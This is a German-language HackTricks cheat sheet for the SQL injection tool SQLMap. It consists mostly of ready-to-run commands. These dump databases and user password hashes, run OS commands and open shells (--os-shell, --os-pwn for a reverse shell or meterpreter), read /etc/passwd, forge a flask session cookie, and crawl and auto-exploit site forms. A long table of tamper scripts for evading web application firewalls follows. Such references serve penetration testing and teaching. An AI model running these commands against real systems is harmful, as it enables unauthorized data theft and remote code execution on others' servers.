SQLMap - Cheatsheet

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlegende Argumente für SQLmap

Allgemein

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Informationen abrufen

Intern

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB-Daten

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mit SQLMapping ist es ein praktisches Tool, das Befehle generiert und einen vollständigen Überblick, sowohl grundlegende als auch fortgeschrittene, für SQLMap bietet. Es enthält ToolTips, die jeden Aspekt des Tools erklären und jede Option im Detail beschreiben, damit Sie lernen, wie Sie es effizient und effektiv nutzen können.

Injection-Stelle

Aus Burp/ZAP-Erfassung

Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei.

bash
sqlmap -r req.txt --current-user

GET-Anforderungsinjektion

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST-Anforderungsinjektion

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injektionen in Headern und anderen HTTP-Methoden

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Geben Sie eine Zeichenfolge an, wenn die Injektion erfolgreich ist

bash
--string="string_showed_when_TRUE"

Erkennungstechnik hinzufügen

Wenn Sie eine SQLi gefunden haben, aber sqlmap sie nicht erkannt hat, können Sie die Erkennungstechnik mit Argumenten wie --prefix oder --suffix erzwingen, oder, wenn es komplexer ist, sie zu den Payloads hinzufügen, die von sqlmap in /usr/share/sqlmap/data/xml/payloads/time_blind.xml verwendet werden, zum Beispiel für zeitblind basierte.

Eval

Sqlmap ermöglicht die Verwendung von -e oder --eval, um jede Payload vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Payload auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel wird die flask-Cookie-Sitzung von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Datei lesen

bash
--file-read=/etc/passwd

Crawlen Sie eine Website mit SQLmap und automatischem Exploit

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Zweite Ordnung Injektion

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lies diesen Beitrag über die Durchführung einfacher und komplexer zweiter Injektionen mit sqlmap.

Anpassen der Injektion

Setze ein Suffix

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Präfix

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Hilfe bei der Suche nach boolescher Injektion

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Denken Sie daran, dass Sie Ihre eigenen Tamper in Python erstellen können und es sehr einfach ist. Sie finden ein Tamper-Beispiel auf der Seite zur Zweiten Ordnung Injection hier.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperBeschreibung
apostrophemask.pyErsetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück
apostrophenullencode.pyErsetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück
appendnullbyte.pyFügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu
base64encode.pyKodiert alle Zeichen in einer gegebenen Payload in Base64
between.pyErsetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #'
bluecoat.pyErsetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt
chardoubleencode.pyDoppelt URL-kodiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet)
commalesslimit.pyErsetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M'
commalessmid.pyErsetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)'
concat2concatws.pyErsetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyURL-kodiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet)
charunicodeencode.pyUnicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet). "%u0022"
charunicodeescape.pyUnicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet). "\u0022"
equaltolike.pyErsetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE'
escapequotes.pySchrägstrich-Escape für Anführungszeichen (' und ")
greatest.pyErsetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück
halfversionedmorekeywords.pyFügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu
ifnull2ifisnull.pyErsetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyUmgibt die gesamte Abfrage mit einem versionierten Kommentar
modsecurityzeroversioned.pyUmgibt die gesamte Abfrage mit einem null-versionierten Kommentar
multiplespaces.pyFügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu
nonrecursivereplacement.pyErsetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind (z.B. .replace("SELECT", "")) Filter
percentage.pyFügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu
overlongutf8.pyKonvertiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet)
randomcase.pyErsetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben
randomcomments.pyFügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu
securesphere.pyFügt eine speziell gestaltete Zeichenfolge hinzu
sp_password.pyFügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu
space2comment.pyErsetzt das Leerzeichen (' ') durch Kommentare
space2dash.pyErsetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')
space2hash.pyErsetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')
space2morehash.pyErsetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')
space2mssqlblank.pyErsetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen
space2mssqlhash.pyErsetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer neuen Zeile ('\n')
space2mysqlblank.pyErsetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen
space2mysqldash.pyErsetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n')
space2plus.pyErsetzt das Leerzeichen (' ') durch ein Pluszeichen ('+')
space2randomblank.pyErsetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen
symboliclogical.pyErsetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und
unionalltounion.pyErsetzt UNION ALL SELECT durch UNION SELECT
unmagicquotes.pyErsetzt das Anführungszeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen)
uppercase.pyErsetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT'
varnish.pyFügt einen HTTP-Header 'X-originating-IP' hinzu
versionedkeywords.pyUmgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar
versionedmorekeywords.pyUmgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar
xforwardedfor.pyFügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks